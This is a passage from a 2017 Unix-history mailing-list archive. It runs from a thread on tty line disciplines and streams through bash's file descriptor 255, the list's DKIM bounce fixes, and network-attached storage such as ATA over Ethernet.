> use daily by most of us in 1127.  The terminals on our desks
> were plugged into serial ports on Datakit (like what we call
> a terminal server now).

​Right... exactly what Greg and Dennis were trying to fix.​

How the top half of the tty handler had various needs and how to
efficiently implement it.
Some tty handlers had become quite sophisticated... UCB's line discipline
was just the start.

For instance, Steve Zimmerman did a version that was sort of combination of
UCB, ITS and TENEX that Masscomp would pick up (which I sometimes miss).
IIRC the argument, Greg's position was that we should be able to create
something that was user providable ultimately, that could make things as
fancy or as plain as an application needed.

Instead of doing stty/gtty calls to turn on cbreak or the like, an
application like emac/vi or whatever could ask for a very simple path
[Domain referred to the as 'borrowing' the path IIRC].   Other programs,
say the ed and Bourne shell might want something fairly fancy under the
covers.

The stacking scheme was so that we could easily define how chars would be
handled and which layer would handle them.
The problem, as you point out, was the transitions between different
'modes' - which the original line discipline code had trouble with and
stacking and unstacking only made worse.   But I digress.




>
> Later there was a TCP/IP that used the stream mechanism.

​Yup....   but was an afterthought .... look what I can do.
My point, it was a secondary effect... it was there and worked.



> ​....​
>
> All this is very different from the socket(2) way of thinking,
> and it has its vices, but it also has its virtues.
>

And yes, sockets had not (yet) completely taken over.
These were some of the experiments to see what would happen.

Now, what caused it to fail as a networking interface?

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/3ff51944/attachment.html>

From dave at horsfall.org  Tue Sep 26 09:49:52 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Tue, 26 Sep 2017 09:49:52 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170925151827.GP28606@mcvoy.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
Message-ID: <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>

On Mon, 25 Sep 2017, Larry McVoy wrote:

> 	lrwx------ 1 lm lm 64 Sep 23 21:39 255 -> /dev/pts/8

What the heck is file descriptor 255?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From wes.parish at paradise.net.nz  Tue Sep 26 10:42:43 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Tue, 26 Sep 2017 13:42:43 +1300 (NZDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
Message-ID: <1506386563.59c9a2834015a@www.paradise.net.nz>

Yes. I thought it made a lot of sense. 

Quoting Tony Finch <dot at dotat.at>:

> Wesley Parish <wes.parish at paradise.net.nz> wrote:
> 
> > I once thought of developing a computer where everything from the
> core
> > functions to the peripherals was a network node. In effect replacing
> the
> > bus. I found references to a Cambridge U (UK) computer system that
> > purported to do just that but couldn't find any more info on it.
> 
> The Desk Area Network, perhaps?
> http://www.cl.cam.ac.uk/research/srg/dan.html
> 
> Tony.
> -- 
> f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h punycode
> Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
> later in
> west. Moderate becoming rough later. Fair. Good.
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn



From rminnich at gmail.com  Tue Sep 26 10:56:32 2017
From: rminnich at gmail.com (ron minnich)
Date: Tue, 26 Sep 2017 00:56:32 +0000
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CANCZdfobaTGxLkQBJo7Wqvn8NbdQk8uU8SeVyfKR9KTcm-c8iQ@mail.gmail.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <CANCZdfrX3T4TC1QbzhEZPBB8zBXMaWb9_=TVfwTmzUMVKuPjsQ@mail.gmail.com>
 <CANCZdfobaTGxLkQBJo7Wqvn8NbdQk8uU8SeVyfKR9KTcm-c8iQ@mail.gmail.com>
Message-ID: <CAP6exY+Mz50Njd+JnDt32xi0w0e+gz67Bz-01opg_ASN9eGx-g@mail.gmail.com>

On Mon, Sep 25, 2017 at 9:52 AM Warner Losh <imp at bsdimp.com> wrote:

>
>
> Kinda highlights, though, problems with the kitchen-sink approach. There's
> bits of /proc that are quite useful, but since it was so expansive, it
> represented a big security threat and so is off by default.
>
>
were you to limit proc to being just for processes are there issues still?


>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170926/3f0466bc/attachment.html>

From chet.ramey at case.edu  Tue Sep 26 12:06:55 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Mon, 25 Sep 2017 22:06:55 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
Message-ID: <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>

On 9/25/17 7:49 PM, Dave Horsfall wrote:
> On Mon, 25 Sep 2017, Larry McVoy wrote:
> 
>>     lrwx------ 1 lm lm 64 Sep 23 21:39 255 -> /dev/pts/8
> 
> What the heck is file descriptor 255?

It appears to be a file descriptor open to his controlling terminal.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From dave at horsfall.org  Tue Sep 26 14:19:22 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Tue, 26 Sep 2017 14:19:22 +1000 (EST)
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170925165002.tdwakerl473ktp7w@matica.foolinux.mooo.com>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <alpine.BSF.2.21.1709240820060.89458@aneurin.horsfall.org>
 <20170924223247.GA85862@accordion.employees.org>
 <alpine.BSF.2.21.1709250941200.89458@aneurin.horsfall.org>
 <20170925165002.tdwakerl473ktp7w@matica.foolinux.mooo.com>
Message-ID: <alpine.BSF.2.21.1709261417390.42298@aneurin.horsfall.org>

On Mon, 25 Sep 2017, Ian Zimmerman wrote:

>> I used to use Procmail, but now it's unsupported, buggy, and quite
>> likely vulnerable due to its baroque scripting language; if there was
>> a decent replacement then I'd use it.
>
> Any Sieve processor.  3 libre choices I know of, there may be others:

[...[

Thanks; I'll take a look.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From tih at hamartun.priv.no  Tue Sep 26 15:30:39 2017
From: tih at hamartun.priv.no (Tom Ivar Helbekkmo)
Date: Tue, 26 Sep 2017 07:30:39 +0200
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170925165002.tdwakerl473ktp7w@matica.foolinux.mooo.com> (Ian
 Zimmerman's message of "Mon, 25 Sep 2017 09:50:02 -0700")
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <alpine.BSF.2.21.1709240820060.89458@aneurin.horsfall.org>
 <20170924223247.GA85862@accordion.employees.org>
 <alpine.BSF.2.21.1709250941200.89458@aneurin.horsfall.org>
 <20170925165002.tdwakerl473ktp7w@matica.foolinux.mooo.com>
Message-ID: <m260c66n7k.fsf@thuvia.hamartun.priv.no>

Ian Zimmerman <itz at very.loosely.org> writes:

> Any Sieve processor.  3 libre choices I know of, there may be others:
>
> - built in exim MDA
>
> - GNU mailutils
>
> - dovecot

Archiveopteryx does Sieve, too.  That's what I use here.

-tih
-- 
Most people who graduate with CS degrees don't understand the significance
of Lisp.  Lisp is the most important idea in computer science.  --Alan Kay



From wkt at tuhs.org  Tue Sep 26 16:26:10 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 26 Sep 2017 16:26:10 +1000
Subject: [TUHS] Another mail list idea
Message-ID: <20170926062610.GA5298@minnie.tuhs.org>

All, I just had a whole bumch of gmail addresses disabled on the TUHS
list because of DKIM. I had an idea. I'll create a second list which
munges the From: line. E-mail to tuhs at tuhs.org will go to both lists.
I'll move the gmail people over to the munging list.

This is just a test e-mail to see if the munging list works. I'm the only
one on it. If it seems to work, I'll move the gmail folk over.

Cheers, Warren



From wkt at tuhs.org  Tue Sep 26 16:40:39 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 26 Sep 2017 16:40:39 +1000
Subject: [TUHS] TUHS: munged From header for DKIM
Message-ID: <20170926064039.GA7936@minnie.tuhs.org>

All, I've set up a mirror TUHS list which munges the From: line to keep
mail systems like Gmail happy. I've migrated some of you over to this
new list: those whose subscriptions were disabled due to excessive bounces.
I'm hoping that this will a) fix most of the bounce problems and b) keep
those who don't want address munging happy.

If I've moved you and you want to be put back on the non-munged list,
let me know.

Fingers crossed that this is a good solution,
	Warren



From dot at dotat.at  Tue Sep 26 19:54:04 2017
From: dot at dotat.at (Tony Finch)
Date: Tue, 26 Sep 2017 10:54:04 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <1506386563.59c9a2834015a@www.paradise.net.nz>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
Message-ID: <alpine.DEB.2.11.1709261052120.22527@grey.csi.cam.ac.uk>

Wesley Parish <wes.parish at paradise.net.nz> wrote:
> Quoting Tony Finch <dot at dotat.at>:
> > Wesley Parish <wes.parish at paradise.net.nz> wrote:
> >
> > > I once thought of developing a computer where everything from the core
> > > functions to the peripherals was a network node. In effect replacing the
> > > bus. I found references to a Cambridge U (UK) computer system that
> > > purported to do just that but couldn't find any more info on it.
> >
> > The Desk Area Network, perhaps?
> > http://www.cl.cam.ac.uk/research/srg/dan.html
>
> Yes. I thought it made a lot of sense.

There was an earlier project too, from the 1980s, based on
microprocessor distributed around the Cambridge fast ring:

https://www.cl.cam.ac.uk/research/srg/netos/projects/archive/plana/

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Shannon, Rockall: South 6 to gale 8, perhaps severe gale 9 later in Rockall.
Rough or very rough. Rain or showers. Good, occasionally poor.



From gregg.drwho8 at gmail.com  Wed Sep 27 00:32:56 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Tue, 26 Sep 2017 10:32:56 -0400
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170921223420.GA27231@minnie.tuhs.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
Message-ID: <CAC5iaNHt2rcmkn-RgM29znwbDJWASuzg9KXd9V6kVugS=8TzAQ@mail.gmail.com>

Hello!
Not completely. It happened again. When was the last time the mail
list server was updated completely? That is, when a new version needed
to be installed.  This is the first time I've seen anything like this.
One of my other lists, kept choking on e-mail delivered from Yahoo,
and I was forced to move all communications to this address. And it
isn't the one used here.
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Thu, Sep 21, 2017 at 6:34 PM, Warren Toomey <wkt at tuhs.org> wrote:
> All, overnight the mail list blocked about 60 people because of excessive
> bouncing. It was probably because the list has been busy, and the bounce
> threshold for the (mostly gmail) addresses was exceeded. I've manually
> re-enabled them all.
>
> I have installed the script that strips DKIM and ARC header lines before
> the list software processes the inbound e-mails. We will see if that helps.
>
> Apologies, Warren
>



From lm at mcvoy.com  Wed Sep 27 00:41:55 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 26 Sep 2017 07:41:55 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <1506386563.59c9a2834015a@www.paradise.net.nz>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
Message-ID: <20170926144155.GW28606@mcvoy.com>

So maybe Ron Minnich will remember this.  Back in the days of 10Mbit
ethernet I was pushing for 100Mbit.  Part of what I wanted was ethernet
all the way out to the disk drives.  It was a little ahead of its time,
the idea was to run Linux on the general purpose processor and be able
to send the questions to the drive rather than slurping all the data
across and pawing through it on the main CPU.  That was part of the
idea, the other part was power over ethernet and you need more space?
Just plug in a drive.

It's been over 20 years since I proposed that and things are starting
to look up a little.  Western Digital made a version of what I wanted,
an ethernet attached drive with a key/value store on the drive.  Not
quite there but closer.  And I just stumbled across this:

https://en.wikipedia.org/wiki/Data_center_bridging

Not sure how well that will work but it's interesting that people are
working on it.

On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
> Yes. I thought it made a lot of sense. 
> 
> Quoting Tony Finch <dot at dotat.at>:
> 
> > Wesley Parish <wes.parish at paradise.net.nz> wrote:
> > 
> > > I once thought of developing a computer where everything from the
> > core
> > > functions to the peripherals was a network node. In effect replacing
> > the
> > > bus. I found references to a Cambridge U (UK) computer system that
> > > purported to do just that but couldn't find any more info on it.
> > 
> > The Desk Area Network, perhaps?
> > http://www.cl.cam.ac.uk/research/srg/dan.html
> > 
> > Tony.
> > -- 
> > f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h punycode
> > Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
> > later in
> > west. Moderate becoming rough later. Fair. Good.
> >  
> 
> 
> 
> "I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
> Method for Guitar
> 
> "A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 



From lm at mcvoy.com  Wed Sep 27 00:53:26 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 26 Sep 2017 07:53:26 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
Message-ID: <20170926145326.GX28606@mcvoy.com>

On Mon, Sep 25, 2017 at 10:06:55PM -0400, Chet Ramey wrote:
> On 9/25/17 7:49 PM, Dave Horsfall wrote:
> > On Mon, 25 Sep 2017, Larry McVoy wrote:
> > 
> >> ????????lrwx------ 1 lm lm 64 Sep 23 21:39 255 -> /dev/pts/8
> > 
> > What the heck is file descriptor 255?
> 
> It appears to be a file descriptor open to his controlling terminal.

LOL.  I think he's wondering why the fd has the value of 255 and I dunno.
Some weird bash thing?



From chet.ramey at case.edu  Wed Sep 27 01:17:54 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Tue, 26 Sep 2017 11:17:54 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170926145326.GX28606@mcvoy.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
Message-ID: <5036e22a-c2ef-68b0-0a65-e722804566b4@case.edu>

On 9/26/17 10:53 AM, Larry McVoy wrote:
> On Mon, Sep 25, 2017 at 10:06:55PM -0400, Chet Ramey wrote:
>> On 9/25/17 7:49 PM, Dave Horsfall wrote:
>>> On Mon, 25 Sep 2017, Larry McVoy wrote:
>>>
>>>> ????????lrwx------ 1 lm lm 64 Sep 23 21:39 255 -> /dev/pts/8
>>>
>>> What the heck is file descriptor 255?
>>
>> It appears to be a file descriptor open to his controlling terminal.
> 
> LOL.  I think he's wondering why the fd has the value of 255 and I dunno.
> Some weird bash thing?

It's not weird. Bash keeps a file descriptor open to the controlling
terminal to use for job control and other terminal operations. After it
opens the ctty, it dups the file descriptor to something out of the usual
range people use to save and restore fds. It uses the RLIMIT_NOFILE
resource limit to determine the upper bound, but doesn't go past 256 (some
systems set that limit pretty high). So you have a file descriptor that the
shell can use but is close-on-exec and unusual enough to avoid being
stepped on.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From ralph at inputplus.co.uk  Wed Sep 27 02:00:52 2017
From: ralph at inputplus.co.uk (Ralph Corderoy)
Date: Tue, 26 Sep 2017 17:00:52 +0100
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <CAC5iaNHt2rcmkn-RgM29znwbDJWASuzg9KXd9V6kVugS=8TzAQ@mail.gmail.com>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <CAC5iaNHt2rcmkn-RgM29znwbDJWASuzg9KXd9V6kVugS=8TzAQ@mail.gmail.com>
Message-ID: <20170926160052.4B7B71F9F8@orac.inputplus.co.uk>

Hi Warren,

I haven't kept up with all messages, but are you aware of the
https://minnie.tuhs.org/cgi-bin/mailman/admin/tuhs/?VARHELP=general/from_is_list
option, the dmarc_moderation_action it mentions, and how they interact?

IIRC, Mailman can check if the sender's domain is troublesome and only
re-write the From header to itself in those cases, leaving the rest of
our emails alone.

-- 
Cheers, Ralph.
https://plus.google.com/+RalphCorderoy



From bakul at bitblocks.com  Wed Sep 27 03:34:19 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Tue, 26 Sep 2017 10:34:19 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170926144155.GW28606@mcvoy.com>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
 <20170926144155.GW28606@mcvoy.com>
Message-ID: <46A45CD5-45A0-44C8-ABC4-0644D7A23493@bitblocks.com>

You probably know Brantley Coile did ata over Ethernet. AOE is a simple protocol so the client side driver is simple. He ran plan9 on his controller. One per rack. Basically you have a storage area network. Adding disks becomes very easy. His company is back in business if you want to buy some!

AOE is probably a better idea than FCoE, fiber channel over Ethernet, with its requirement for a reliable transport. On the other hand, may be there is need for encrypted channels all the way to disks.

> On Sep 26, 2017, at 7:41 AM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> So maybe Ron Minnich will remember this.  Back in the days of 10Mbit
> ethernet I was pushing for 100Mbit.  Part of what I wanted was ethernet
> all the way out to the disk drives.  It was a little ahead of its time,
> the idea was to run Linux on the general purpose processor and be able
> to send the questions to the drive rather than slurping all the data
> across and pawing through it on the main CPU.  That was part of the
> idea, the other part was power over ethernet and you need more space?
> Just plug in a drive.
> 
> It's been over 20 years since I proposed that and things are starting
> to look up a little.  Western Digital made a version of what I wanted,
> an ethernet attached drive with a key/value store on the drive.  Not
> quite there but closer.  And I just stumbled across this:
> 
> https://en.wikipedia.org/wiki/Data_center_bridging
> 
> Not sure how well that will work but it's interesting that people are
> working on it.
> 
>> On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
>> Yes. I thought it made a lot of sense. 
>> 
>> Quoting Tony Finch <dot at dotat.at>:
>> 
>>> Wesley Parish <wes.parish at paradise.net.nz> wrote:
>>> 
>>>> I once thought of developing a computer where everything from the
>>> core
>>>> functions to the peripherals was a network node. In effect replacing
>>> the
>>>> bus. I found references to a Cambridge U (UK) computer system that
>>>> purported to do just that but couldn't find any more info on it.
>>> 
>>> The Desk Area Network, perhaps?
>>> http://www.cl.cam.ac.uk/research/srg/dan.html
>>> 
>>> Tony.
>>> -- 
>>> f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h punycode
>>> Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
>>> later in
>>> west. Moderate becoming rough later. Fair. Good.
>> 
>> 
>> 
>> "I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
>> Method for Guitar
>> 
>> "A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn
> 
> -- 
> ---
> Larry McVoy                     lm at mcvoy.com             http://www.mcvoy.com/lm 
> 



From imp at bsdimp.com  Wed Sep 27 03:39:56 2017
From: imp at bsdimp.com (Warner Losh)
Date: Tue, 26 Sep 2017 11:39:56 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <46A45CD5-45A0-44C8-ABC4-0644D7A23493@bitblocks.com>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
 <20170926144155.GW28606@mcvoy.com>
 <46A45CD5-45A0-44C8-ABC4-0644D7A23493@bitblocks.com>
Message-ID: <CANCZdfoyPf03SZTThBy1yDcChK8gybapVHQkUQwD5442qpS2QQ@mail.gmail.com>

On Tue, Sep 26, 2017 at 11:34 AM, Bakul Shah <bakul at bitblocks.com> wrote:

> You probably know Brantley Coile did ata over Ethernet. AOE is a simple
> protocol so the client side driver is simple. He ran plan9 on his
> controller. One per rack. Basically you have a storage area network. Adding
> disks becomes very easy. His company is back in business if you want to buy
> some!
>
> AOE is probably a better idea than FCoE, fiber channel over Ethernet, with
> its requirement for a reliable transport. On the other hand, may be there
> is need for encrypted channels all the way to disks.


AoE: All the quality you'd expect from low end ATA drives couple with all
the reliability of low-end consumer grade ethernet. What could go wrong?

AoE really punted on all the reliability stuff, so if you have any kind of
congested network it's a total disaster. Plus, who doesn't want to access
storage via an arcane protocol designed so you could latch registers
effective, but not so you can encode requests so.

Sorry for the rant, but I've had to deal with too much low-end gear
recently and it makes me grumpy and AoE back in the early 2000's was a
total S***show of low-end, poor quality implementations....

Warner


> > On Sep 26, 2017, at 7:41 AM, Larry McVoy <lm at mcvoy.com> wrote:
> >
> > So maybe Ron Minnich will remember this.  Back in the days of 10Mbit
> > ethernet I was pushing for 100Mbit.  Part of what I wanted was ethernet
> > all the way out to the disk drives.  It was a little ahead of its time,
> > the idea was to run Linux on the general purpose processor and be able
> > to send the questions to the drive rather than slurping all the data
> > across and pawing through it on the main CPU.  That was part of the
> > idea, the other part was power over ethernet and you need more space?
> > Just plug in a drive.
> >
> > It's been over 20 years since I proposed that and things are starting
> > to look up a little.  Western Digital made a version of what I wanted,
> > an ethernet attached drive with a key/value store on the drive.  Not
> > quite there but closer.  And I just stumbled across this:
> >
> > https://en.wikipedia.org/wiki/Data_center_bridging
> >
> > Not sure how well that will work but it's interesting that people are
> > working on it.
> >
> >> On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
> >> Yes. I thought it made a lot of sense.
> >>
> >> Quoting Tony Finch <dot at dotat.at>:
> >>
> >>> Wesley Parish <wes.parish at paradise.net.nz> wrote:
> >>>
> >>>> I once thought of developing a computer where everything from the
> >>> core
> >>>> functions to the peripherals was a network node. In effect replacing
> >>> the
> >>>> bus. I found references to a Cambridge U (UK) computer system that
> >>>> purported to do just that but couldn't find any more info on it.
> >>>
> >>> The Desk Area Network, perhaps?
> >>> http://www.cl.cam.ac.uk/research/srg/dan.html
> >>>
> >>> Tony.
> >>> --
> >>> f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h
> punycode
> >>> Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7
> >>> later in
> >>> west. Moderate becoming rough later. Fair. Good.
> >>
> >>
> >>
> >> "I have supposed that he who buys a Method means to learn it." -
> Ferdinand Sor,
> >> Method for Guitar
> >>
> >> "A verbal contract isn't worth the paper it's written on." -- Samuel
> Goldwyn
> >
> > --
> > ---
> > Larry McVoy                     lm at mcvoy.com
> http://www.mcvoy.com/lm
> >
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170926/d4921242/attachment.html>

From lm at mcvoy.com  Wed Sep 27 03:43:42 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 26 Sep 2017 10:43:42 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <46A45CD5-45A0-44C8-ABC4-0644D7A23493@bitblocks.com>
References: <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
 <20170926144155.GW28606@mcvoy.com>
 <46A45CD5-45A0-44C8-ABC4-0644D7A23493@bitblocks.com>
Message-ID: <20170926174342.GA28606@mcvoy.com>

On Tue, Sep 26, 2017 at 10:34:19AM -0700, Bakul Shah wrote:
> You probably know Brantley Coile did ata over Ethernet. AOE is a
> simple protocol so the client side driver is simple. He ran plan9
> on his controller. One per rack. Basically you have a storage area
> network. Adding disks becomes very easy. His company is back in business
> if you want to buy some!

Didn't know that, do now, thanks.  Very cool and pretty much what I 
was asking for 20+ years ago.  Ya gotta be patient I guess :)

> AOE is probably a better idea than FCoE, fiber channel over Ethernet,
> with its requirement for a reliable transport. On the other hand, may
> be there is need for encrypted channels all the way to disks.

Yeah, the old school people want their comfort zone, I'm also not so sure
that FCoE is such a good idea.



From gtaylor at tnetconsulting.net  Wed Sep 27 04:06:54 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 26 Sep 2017 12:06:54 -0600
